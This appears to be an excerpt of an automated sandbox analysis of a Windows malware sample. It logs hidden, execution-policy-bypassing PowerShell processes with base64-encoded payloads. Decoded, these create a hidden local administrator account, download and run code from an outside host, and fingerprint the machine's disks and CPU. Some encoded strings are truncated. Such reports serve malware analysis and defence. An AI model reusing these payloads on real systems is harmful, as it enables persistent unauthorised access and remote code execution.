wAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService

Source: unknown	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /v /k "st^art /min "" pow^er^s^h^ell -n^ol^o^go -no^p -e^p b^y^p^ass -en^co^de^d^com^ma^nd "uwb0ageacgb0ac0auabyag8aywblahmacwagahaabwb3aguacgbzaggazqbsagwaiaatafcaaqbuagqabwb3afmadab5agwazqagaggaaqbkagqazqbuacaalqbbahiazwb1ag0azqbuahqatabpahmadaagacialqbxagkabgbkag8adwbtahqaeqbsaguaiabiagkazabkaguabgaiacwaiaaiac0atgbvaewabwbnag8aigasacaaigatae4abwbqahiabwbmagkabablacialaagacialqbfahgazqbjahuadabpag8abgbqag8ababpagmaeqagaeiaeqbwageacwbzacialaagacialqbfag4aywbvagqazqbkaemabwbtag0ayqbuagqaiabtafeaqgbgaeeargbnaeeasqbbaeeabwbbaeyacwbbafyaqqbcaeyaqqbgagcaqqbkaeeaqqb1aeearqbvaeeavabnaeiarabbaecaoabbafoaqqbcaeoaqqbfadqaqqbsahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbgaeeasabraeeavqb3aeiavqbbaeyasqbbafmauqbcae8aqqbhagmaqqblaeeaqqbvaeearqbraeeazab3aeiaeqbbaemaqqbbaesaqqbcagiaqqbgae0aqqblafeaqgb6aeeasabraeeawgbraeiadabbaemanabbafyaqqbcagwaqqbiagcaqqbkaeeaqqb1aeearqbvaeeaygbnaeiaagbbaecaoabbafoaqqbcahaaqqbhadqaqqbaahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeasabraeeavqb3aeiamabbaegasqbbageauqbcahuaqqbhagmaqqblaeeaqgbiaeearqbnaeeaygb3aeiadqbbaegawqbbafoauqbcahkaqqbiafeaqqbyafeaqqa2aeearabvaeeaugbnaeiaeqbbaecaoabbagiauqbcaemaqqbhaeuaqqbjahcaqgbsaeearabzaeeatgbbaeiavabbaegauqbbagmazwbcahaaqqbhadqaqqbaahcaqqbvaeeaqwbjaeeawqbraeiasqbbaeyasqbbae0aqqbcagoaqqbfagcaqqbuafeaqqayaeearqb3aeeazqbraeeanqbbaecanabbafkazwbcafkaqqbgaekaqqbhaeeaqgbhaeearabjaeeavgbnaeiamqbbaeyaawbbae0adwbcahiaqqbiafuaqqbzagcaqqb5aeearabvaeeaywb3aeiaaabbaeyaywbbae4auqbcahmaqqbfahcaqqblagcaqgbdaeearqbvaeeawqbraeeaegbbaecaoabbae0adwbcagkaqqbhagmaqqbqafeaqqa5aeeaqwbjaeeaswbraeeacabbaemaawbbaesauqbbahuaqqbfae0aqqbuahcaqgbpaeeasabraeeawgbraeiatwbbaegauqbbaesauqbbahaaqqbbad0apqaiaa=="" && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -nologo -nop -ep bypass -encodedcommand "uwb0ageacgb0ac0auabyag8aywblahmacwagahaabwb3aguacgbzaggazqbsagwaiaatafcaaqbuagqabwb3afmadab5agwazqagaggaaqbkagqazqbuacaalqbbahiazwb1ag0azqbuahqatabpahmadaagacialqbxagkabgbkag8adwbtahqaeqbsaguaiabiagkazabkaguabgaiacwaiaaiac0atgbvaewabwbnag8aigasacaaigatae4abwbqahiabwbmagkabablacialaagacialqbfahgazqbjahuadabpag8abgbqag8ababpagmaeqagaeiaeqbwageacwbzacialaagacialqbfag4aywbvagqazqbkaemabwbtag0ayqbuagqaiabtafeaqgbgaeeargbnaeeasqbbaeeabwbbaeyacwbbafyaqqbcaeyaqqbgagcaqqbkaeeaqqb1aeearqbvaeeavabnaeiarabbaecaoabbafoaqqbcaeoaqqbfadqaqqbsahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbgaeeasabraeeavqb3aeiavqbbaeyasqbbafmauqbcae8aqqbhagmaqqblaeeaqqbvaeearqbraeeazab3aeiaeqbbaemaqqbbaesaqqbcagiaqqbgae0aqqblafeaqgb6aeeasabraeeawgbraeiadabbaemanabbafyaqqbcagwaqqbiagcaqqbkaeeaqqb1aeearqbvaeeaygbnaeiaagbbaecaoabbafoaqqbcahaaqqbhadqaqqbaahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeasabraeeavqb3aeiamabbaegasqbbageauqbcahuaqqbhagmaqqblaeeaqgbiaeearqbnaeeaygb3aeiadqbbaegawqbbafoauqbcahkaqqbiafeaqqbyafeaqqa2aeearabvaeeaugbnaeiaeqbbaecaoabbagiauqbcaemaqqbhaeuaqqbjahcaqgbsaeearabzaeeatgbbaeiavabbaegauqbbagmazwbcahaaqqbhadqaqqbaahcaqqbvaeeaqwbjaeeawqbraeiasqbbaeyasqbbae0aqqbcagoaqqbfagcaqqbuafeaqqayaeearqb3aeeazqbraeeanqbbaecanabbafkazwbcafkaqqbgaekaqqbhaeeaqgbhaeearabjaeeavgbnaeiamqbbaeyaawbbae0adwbcahiaqqbiafuaqqbzagcaqqb5aeearabvaeeaywb3aeiaaabbaeyaywbbae4auqbcahmaqqbfahcaqqblagcaqgbdaeearqbvaeeawqbraeeaegbbaecaoabbae0adwbcagkaqqbhagmaqqbqafeaqqa5aeeaqwbjaeeaswbraeeacabbaemaawbbaesauqbbahuaqqbfae0aqqbuahcaqgbpaeeasabraeeawgbraeiatwbbaegauqbbaesauqbbahaaqqbbad0apqaiaa=="
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand sqbfafgaiaaoafsavabfafgadaauaeuatgbdag8azabjae4arwbdadoaogbvafqarga4ac4arwbfahqauwbuafiasqboagcakaaoaekadwbyacaakabbafmaeqbzahqazqbtac4avablahgadaauaeuabgbjag8azabpag4azwbdadoaogbvafqarga4ac4arwblahqauwb0ahiaaqbuagcakabbaemabwbuahyazqbyahqaxqa6adoargbyag8abqbcageacwbladyanabtahqacgbpag4azwaoaciayqbiafiamabjaegatqa2aewaeqa5ag4aygbyafiaaabaadiavgb1afkamwbrahuaygayaduacwbhafcanqbsaewaegbcaeuayqazag8amwbiagcapqa9aciakqapackakqauaematwboahqazqboahqakqapaa==
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start /min "" powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbnag0adabhagcazqbuagmaeqauag8abgbsagkabgblac8azgbpagwazqayac8aoaa0aguamaawadkaywa1aguamga5adgaoaayadmamgazaduaoaawagianwbjadcamaawagqangbkadcazgbiagyamgawadcazabmadmanga4agqazgawadiamwbhadyamaa3adcamqawagmayqa3agyanabjadeanga4aduangbjagyazga5adcayga3adganga1adqayqa4adgamwa5adkaoqaxadgamgbhadaanqa0adaanaa3adgaoqawagmaoaa2admaygbhadmaoabjagqamqa0adiazabjadeamqbjagmazqa4agyanwa2adeamaa2admanwa5ageazaayaguamqa1adyamaaxagyamaa0agiazqa0agyanga0adaaoaa0adgamwbjaduamqa1ageazgbkagqazga0adaazgaxageangawageaoaa3adeaoaa1ageazga5aduaywazagqangbladeanabiadeayga4aduazgaxagqamwa2aguazaa2adkayqbiagianwazaduayqa2adcamwa1adeazqayadeamga4agyazgbiadcamwbkadqanaa5agmamwbiaciaowanaaoajabjag8adqbuahqaiaa9acaamqawadaaowanaaoadqakaa0acganaaoazgb1ag4aywb0agkabwbuacaauwblag4azaagahsadqakacaaiaagacaacabhahiayqbtacgaiabbafaauwbpagiaagblagmadabdacaajabsag8azwbnahmazwagackadqakaa0acgagacaaiaagacmaiabdag8abgb2aguacgb0acaaygbvagqaeqagahqabwagahmadabyagkabgbnaa0acgagacaaiaagacqacwb0ahiaaqbuagcaqgbvagqaeqagad0aiabbahmadabyagkabgbnaf0akaakagwabwbnae0acwbnacaafaagaemabwbuahyazqbyahqavabvac0asgbzag8abgapadsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaa9acaaqaaoackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagacsapqagacqacwb0ahiaaqbuagcaqgbvagqaeqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaaigatac0alqatac0alqatac0alqataciaowanaaoadqakacaaiaagacaajaboaguayqbkaguacgbzacaapqagaeaaewb9adsadqakacaaiaagacaajabraguaeqagad0aiaaiaemabwbuahqazqbuahqalqbuahkacablaciaowanaaoaiaagacaaiaakahyayqbsahuazqagad0aiaaiageacabwagwaaqbjageadabpag8abgavagoacwbvag4aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmawwakagsazqb5af0aiaa9acaajab2ageabab1aguaowanaaoaiaagacaaiaakahuacgbpacaapqagaciatabpaecavqbsaewaiga7aa0acgagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaewanaaoaiaagacaaiaagacaaiaagacaaiaagacaajabiag8azab5acaapqagacqababvagcatqblahmacwbhagcazqbzacaafaagaemabwbuahyazqbyahqavabvac0asgbzag8abga7aa0acgagacaaiaagacaaiaagacaaiaagacaaiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajab1ahiaaqagac0atqblahqaaabvagqaiabqag8acwb0acaalqbiaguayqbkaguacgbzacaajaboaguayqbkaguacgbzacaalqbcag8azab5acaajabiag8azab5aa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagagmayqb0agmaaab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaanaaoaiaagacaaiaagacaaiaagah0adqakacaaiaagacaadqakah0adqakaa0acgb3aggaaqbsaguakaakagmabwb1ag4adaagac0azwb0acaamaapaa0acgb7aa0acgajaa0acgajahqacgb5ahsadqakacaaiaagacaaiaagacaaiabtaguabgbkacaaigbiaguazwbpag4aiabkag8adwbuagwabwbhagqaiaakahuacgbpaciaowanaaoacqajacqaywbvag4adablag4adaagad0aiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajab1ahiaaqagac0avqbzaguaqgbhahmaaqbjafaayqbyahmaaqbuagcaowanaaoaiaagacaaiaagacaaiaagacqaygb5ahqazqbbahiacgbhahkaiaa9acaajabjag8abgb0aguabgb0ac4aywbvag4adablag4adaa7aa0acgagacaaiaagacaaiaagacaazgbvahiaiaaoac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbnag0adabhagcazqbuagmaeqauag8abgbsagkabgblac8azgbpagwazqayac8aoaa0aguamaawadkaywa1aguamga5adgaoaayadmamgazaduaoaawagianwbjadcamaawagqangbkadcazgbiagyamgawadcazabmadmanga4agqazgawadiamwbhadyamaa3adcamqawagmayqa3agyanabjadeanga4aduangbjagyazga5adcayga3adganga1adqayqa4adgamwa5adkaoqaxadgamgbhadaanqa0adaanaa3adgaoqawagmaoaa2admaygbhadmaoabjagqamqa0adiazabjadeamqbjagmazqa4agyanwa2adeamaa2admanwa5ageazaayaguamqa1adyamaaxagyamaa0agiazqa0agyanga0adaaoaa0adgamwbjaduamqa1ageazgbkagqazga0adaazgaxageangawageaoaa3adeaoaa1ageazga5aduaywazagqangbladeanabiadeayga4aduazgaxagqamwa2aguazaa2adkayqbiagianwazaduayqa2adcamwa1adeazqayadeamga4agyazgbiadcamwbkadqanaa5agmamwbiaciaowanaaoajabjag8adqbuahqaiaa9acaamqawadaaowanaaoadqakaa0acganaaoazgb1ag4aywb0agkabwbuacaauwblag4azaagahsadqakacaaiaagacaacabhahiayqbtacgaiabbafaauwbpagiaagblagmadabdacaajabsag8azwbnahmazwagackadqakaa0acgagacaaiaagacmaiabdag8abgb2aguacgb0acaaygbvagqaeqagahqabwagahmadabyagkabgbnaa0acgagacaaiaagacqacwb0ahiaaqbuagcaqgbvagqaeqagad0aiabbahmadabyagkabgbnaf0akaakagwabwbnae0acwbnacaafaagaemabwbuahyazqbyahqavabvac0asgbzag8abgapadsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaa9acaaqaaoackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagacsapqagacqacwb0ahiaaqbuagcaqgbvagqaeqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaaigatac0alqatac0alqatac0alqataciaowanaaoadqakacaaiaagacaajaboaguayqbkaguacgbzacaapqagaeaaewb9adsadqakacaaiaagacaajabraguaeqagad0aiaaiaemabwbuahqazqbuahqalqbuahkacablaciaowanaaoaiaagacaaiaakahyayqbsahuazqagad0aiaaiageacabwagwaaqbjageadabpag8abgavagoacwbvag4aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmawwakagsazqb5af0aiaa9acaajab2ageabab1aguaowanaaoaiaagacaaiaakahuacgbpacaapqagaciatabpaecavqbsaewaiga7aa0acgagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaewanaaoaiaagacaaiaagacaaiaagacaaiaagacaajabiag8azab5acaapqagacqababvagcatqblahmacwbhagcazqbzacaafaagaemabwbuahyazqbyahqavabvac0asgbzag8abga7aa0acgagacaaiaagacaaiaagacaaiaagacaaiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajab1ahiaaqagac0atqblahqaaabvagqaiabqag8acwb0acaalqbiaguayqbkaguacgbzacaajaboaguayqbkaguacgbzacaalqbcag8azab5acaajabiag8azab5aa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagagmayqb0agmaaab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaanaaoaiaagacaaiaagacaaiaagah0adqakacaaiaagacaadqakah0adqakaa0acgb3aggaaqbsaguakaakagmabwb1ag4adaagac0azwb0acaamaapaa0acgb7aa0acgajaa0acgajahqacgb5ahsadqakacaaiaagacaaiaagacaaiabtaguabgbkacaaigbiaguazwbpag4aiabkag8adwbuagwabwbhagqaiaakahuacgbpaciaowanaaoacqajacqaywbvag4adablag4adaagad0aiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajab1ahiaaqagac0avqbzaguaqgbhahmaaqbjafaayqbyahmaaqbuagcaowanaaoaiaagacaaiaagacaaiaagacqaygb5ahqazqbbahiacgbhahkaiaa9acaajabjag8abgb0aguabgb0ac4aywbvag4adablag4adaa7aa0acgagacaaiaagacaaiaagacaazgbvahiaiaaoacqaaqagad0aiaawad
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand zgb1ag4aywb0agkabwbuacaarwblahqalqbjagqazqbuahqaaqb0ahkaewakacaaiaagacaajaboageacgbkaeqacgbpahyazqbzacaapqagaecazqb0ac0avwbtagkatwbiagoazqbjahqaiaataemababhahmacwagafcaaqbuadmamgbfaeqaaqbzagsarabyagkadgblacaafaagafcaaablahiazqatae8aygbqaguaywb0acaaewagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhaciaiaatag8acgagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhacaalqagafmauwbeaciaiab9aaoajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaa9acaaqaaoackacgbmag8acgblageaywboacaakaakaggayqbyagqarabyagkadgblacaaaqbuacaajaboageacgbkaeqacgbpahyazqbzackaiab7aaoaiaagacaaiaakahmazqbyagkayqbsae4adqbtagiazqbyacaapqagacqaaabhahiazabeahiaaqb2agualgbtaguacgbpageababoahuabqbiaguacgakacaaiaagacaajabtag8azablagwaiaa9acaajaboageacgbkaeqacgbpahyazqauae0abwbkaguabaakacaaiaagacaajabkahiaaqb2aguasqbuagyabwagad0aiaaiafmazqbyagkayqbsacaatgb1ag0aygblahiaogagacqacwblahiaaqbhagwatgb1ag0aygblahialaagae0abwbkaguabaa6acaajabtag8azablagwaigakacaaiaagacaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaarad0aiaakagqacgbpahyazqbjag4azgbvaaoafqakacqaywbvag0aygbpag4azqbkaekabgbmag8aiaa9acaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaatagoabwbpag4aiaaiagaacgbgag4aigakacqaywbwahuasqbuagyabwagad0aiabhaguadaatafcabqbpae8aygbqaguaywb0acaalqbdagwayqbzahmaiabxagkabgazadiaxwbqahiabwbjaguacwbzag8acgakacqaywbwahuarablahqayqbpagwacwagad0aiaaiafaacgbvagmazqbzahmabwbyaekazaa6acaajaaoacqaywbwahuasqbuagyabwauafaacgbvagmazqbzahmabwbyaekazaapacwaiaboageabqbladoaiaakacgajabjahaadqbjag4azgbvac4atgbhag0azqapacwaiabnageaeabdagwabwbjagsauwbwaguazqbkadoaiaakacgajabjahaadqbjag4azgbvac4atqbhahgaqwbsag8aywbrafmacablaguazaapacwaiabvag4aaqbxahuazqbjagqaogagacqakaakagmacab1aekabgbmag8algbvag4aaqbxahuazqbjagqakqaiaaoajabhagwababjag4azgbvacaapqagaciajabjag8abqbiagkabgblagqasqbuagyabwbgahiayabuacqaywbwahuarablahqayqbpagwacwaiaaoajabtagqanqagad0aiaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algbtaguaywb1ahiaaqb0ahkalgbdahiaeqbwahqabwbnahiayqbwaggaeqauae0araa1aemacgb5ahaadabvafmazqbyahyaaqbjaguauabyag8adgbpagqazqbyaaoajabiahkadablahmaiaa9acaawwbtahkacwb0aguabqauafqazqb4ahqalgbfag4aywbvagqaaqbuagcaxqa6adoavqbuaeyaoaauaecazqb0aeiaeqb0aguacwaoacqayqbsagwasqbuagyabwapaaoajaboageacwboaeiaeqb0aguacwagad0aiaakag0azaa1ac4aqwbvag0acab1ahqazqbiageacwboacgajabiahkadablahmakqakacqaaabhahmaaaagad0aiabbaeiaaqb0aemabwbuahyazqbyahqazqbyaf0aoga6afqabwbtahqacgbpag4azwaoacqaaabhahmaaabcahkadablahmakqagac0acgblahaababhagmazqagaccalqanaaoaiaagacaaiabyaguadab1ahiabgagacqaaabhahmaaaa7aaoafqakagmazaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaiga7aaoajab0aguacwb0acaapqagaecazqb0ac0asqbkaguabgb0agkadab5adsacgakahqazqbzahqaiab8acaatwb1ahqalqbgagkabablacaalqbgagkabablafaayqb0aggaiaaiagqazqb2agkaywblaekazaauahqaeab0aciaiaataeuabgbjag8azabpag4azwagafuavabgadga
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand jabvahmazqbyag4ayqbtaguaiaa9acaaigbvahmazqbyadeaiga7acqacab3agqaiaa9acaaigaxadiamwa0aduanga3adgaoqahaeeamqbhaciaowagacqavqbzaguacgbqageacgbhag0acwagad0aiabaahsajwboageabqblaccaiaa9acaajabvahmazqbyag4ayqbtaguaowagaccauabhahmacwb3ag8acgbkaccaiaa9acaakabdag8abgb2aguacgb0afqabwatafmazqbjahuacgblafmadabyagkabgbnacaalqbtahqacgbpag4azwagacqacab3agqaiaataeeacwbqagwayqbpag4avablahgadaagac0argbvahiaywblackaowagaccauabhahmacwb3ag8acgbkae4azqb2aguacgbfahgacabpahiazqbzaccaiaa9acaajab0ahiadqblah0aowboaguadwataewabwbjageababvahmazqbyacaaqabvahmazqbyafaayqbyageabqbzadsajabhahiabwb1ahaauabhahiayqbtahmaiaa9acaaqab7accarwbyag8adqbwaccaiaa9acaajwbbagqabqbpag4aaqbzahqacgbhahqabwbyahmajwa7acaajwbnaguabqbiaguacganacaapqagacqavqbzaguacgbuageabqblah0aowbbagqazaataewabwbjageababhahiabwb1ahaatqblag0aygblahiaiabaaecacgbvahuacabqageacgbhag0acwa7aa0acga=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -nologo -nop -ep bypass -encodedcommand "uwb0ageacgb0ac0auabyag8aywblahmacwagahaabwb3aguacgbzaggazqbsagwaiaatafcaaqbuagqabwb3afmadab5agwazqagaggaaqbkagqazqbuacaalqbbahiazwb1ag0azqbuahqatabpahmadaagacialqbxagkabgbkag8adwbtahqaeqbsaguaiabiagkazabkaguabgaiacwaiaaiac0atgbvaewabwbnag8aigasacaaigatae4abwbqahiabwbmagkabablacialaagacialqbfahgazqbjahuadabpag8abgbqag8ababpagmaeqagaeiaeqbwageacwbzacialaagacialqbfag4aywbvagqazqbkaemabwbtag0ayqbuagqaiabtafeaqgbgaeeargbnaeeasqbbaeeabwbbaeyacwbbafyaqqbcaeyaqqbgagcaqqbkaeeaqqb1aeearqbvaeeavabnaeiarabbaecaoabbafoaqqbcaeoaqqbfadqaqqbsahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbgaeeasabraeeavqb3aeiavqbbaeyasqbbafmauqbcae8aqqbhagmaqqblaeeaqqbvaeearqbraeeazab3aeiaeqbbaemaqqbbaesaqqbcagiaqqbgae0aqqblafeaqgb6aeeasabraeeawgbraeiadabbaemanabbafyaqqbcagwaqqbiagcaqqbkaeeaqqb1aeearqbvaeeaygbnaeiaagbbaecaoabbafoaqqbcahaaqqbhadqaqqbaahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeasabraeeavqb3aeiamabbaegasqbbageauqbcahuaqqbhagmaqqblaeeaqgbiaeearqbnaeeaygb3aeiadqbbaegawqbbafoauqbcahkaqqbiafeaqqbyafeaqqa2aeearabvaeeaugbnaeiaeqbbaecaoabbagiauqbcaemaqqbhaeuaqqbjahcaqgbsaeearabzaeeatgbbaeiavabbaegauqbbagmazwbcahaaqqbhadqaqqbaahcaqqbvaeeaqwbjaeeawqbraeiasqbbaeyasqbbae0aqqbcagoaqqbfagcaqqbuafeaqqayaeearqb3aeeazqbraeeanqbbaecanabbafkazwbcafkaqqbgaekaqqbhaeeaqgbhaeearabjaeeavgbnaeiamqbbaeyaawbbae0adwbcahiaqqbiafuaqqbzagcaqqb5aeearabvaeeaywb3aeiaaabbaeyaywbbae4auqbcahmaqqbfahcaqqblagcaqgbdaeearqbvaeeawqbraeeaegbbaecaoabbae0adwbcagkaqqbhagmaqqbqafeaqqa5aeeaqwbjaeeaswbraeeacabbaemaawbbaesauqbbahuaqqbfae0aqqbuahcaqgbpaeeasabraeeawgbraeiatwbbaegauqbbaesauqbbahaaqqbbad0apqaiaa=="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand sqbfafgaiaaoafsavabfafgadaauaeuatgbdag8azabjae4arwbdadoaogbvafqarga4ac4arwbfahqauwbuafiasqboagcakaaoaekadwbyacaakabbafmaeqbzahqazqbtac4avablahgadaauaeuabgbjag8azabpag4azwbdadoaogbvafqarga4ac4arwblahqauwb0ahiaaqbuagcakabbaemabwbuahyazqbyahqaxqa6adoargbyag8abqbcageacwbladyanabtahqacgbpag4azwaoaciayqbiafiamabjaegatqa2aewaeqa5ag4aygbyafiaaabaadiavgb1afkamwbrahuaygayaduacwbhafcanqbsaewaegbcaeuayqazag8amwbiagcapqa9aciakqapackakqauaematwboahqazqboahqakqapaa==	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start /min "" powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbnag0adabhagcazqbuagmaeqauag8abgbsagkabgblac8azgbpagwazqayac8aoaa0aguamaawadkaywa1aguamga5adgaoaayadmamgazaduaoaawagianwbjadcamaawagqangbkadcazgbiagyamgawadcazabmadmanga4agqazgawadiamwbhadyamaa3adcamqawagmayqa3agyanabjadeanga4aduangbjagyazga5adcayga3adganga1adqayqa4adgamwa5adkaoqaxadgamgbhadaanqa0adaanaa3adgaoqawagmaoaa2admaygbhadmaoabjagqamqa0adiazabjadeamqbjagmazqa4agyanwa2adeamaa2admanwa5ageazaayaguamqa1adyamaaxagyamaa0agiazqa0agyanga0adaaoaa0adgamwbjaduamqa1ageazgbkagqazga0adaazgaxageangawageaoaa3adeaoaa1ageazga5aduaywazagqangbladeanabiadeayga4aduazgaxagqamwa2aguazaa2adkayqbiagianwazaduayqa2adcamwa1adeazqayadeamga4agyazgbiadcamwbkadqanaa5agmamwbiaciaowanaaoajabjag8adqbuahqaiaa9acaamqawadaaowanaaoadqakaa0acganaaoazgb1ag4aywb0agkabwbuacaauwblag4azaagahsadqakacaaiaagacaacabhahiayqbtacgaiabbafaauwbpagiaagblagmadabdacaajabsag8azwbnahmazwagackadqakaa0acgagacaaiaagacmaiabdag8abgb2aguacgb0acaaygbvagqaeqagahqabwagahmadabyagkabgbnaa0acgagacaaiaagacqacwb0ahiaaqbuagcaqgbvagqaeq